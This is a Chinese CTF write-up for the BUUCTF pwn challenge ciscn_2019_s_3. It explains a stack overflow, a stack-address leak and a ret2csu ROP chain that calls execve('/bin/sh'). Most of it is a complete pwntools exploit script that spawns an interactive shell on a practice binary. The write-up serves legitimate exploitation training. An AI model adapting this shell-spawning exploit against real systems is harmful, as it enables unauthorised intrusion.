【BUUCTF - PWN】ciscn_2019_s_3

checksec一下,栈溢出
【BUUCTF - PWN】ciscn_2019_s_3_第1张图片
IDA打开看看,main函数内只有一个call vuln
【BUUCTF - PWN】ciscn_2019_s_3_第2张图片
注意到vuln函数末尾并没有使用leave指令,即直接把之前push的rbp当作return address
我们要ROP的话offset只需要0x10
【BUUCTF - PWN】ciscn_2019_s_3_第3张图片
程序里还给了一些gadget,注意到当rax=0x3b时syscall为execve,只需要让rdi="/bin/sh"、rsi=0、rdx=0即可get shell
【BUUCTF - PWN】ciscn_2019_s_3_第4张图片
注意到write会打印0x30个字符,其中前0x20个字符没什么用,接下来8个字符是栈上的一个地址,通过gdb调试可以确定它相对于我们输入的首字符的偏移为0x118,从而确定我们下次输入时写在开头的/bin/sh的地址

由于还需要控制第二个和第三个参数,因此选用通用gadget
r12需要指向存放下一个ROP的地址的代码,在这里可以确定相对于输入开头的偏移为0x50

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sl=lambda x:io.sendline(x)
rn=lambda x:io.recv(x)

io=remote('xxx',xxx)

vuln=0x4004ed
pop_rdi=0x4005a3
pop_regs=0x40059a
mov_call=0x400580
mov_rax=0x4004e2
syscall=0x400517

payload=p64(0)*2+p64(vuln)
sl(payload)
rn(0x20)
binsh=u64(rn(8))-0x118
payload='/bin/sh\0'.encode('utf-8')+p64(0)+p64(pop_regs)+p64(0)*2+p64(binsh+0x50)+p64(0)*3+p64(mov_call)+p64(pop_rdi)+p64(binsh)+p64(mov_rax)+p64(syscall)
sl(payload)

io.interactive()

附件:ciscn_2019_s_3

你可能感兴趣的:(BUUCTF,-,PWN)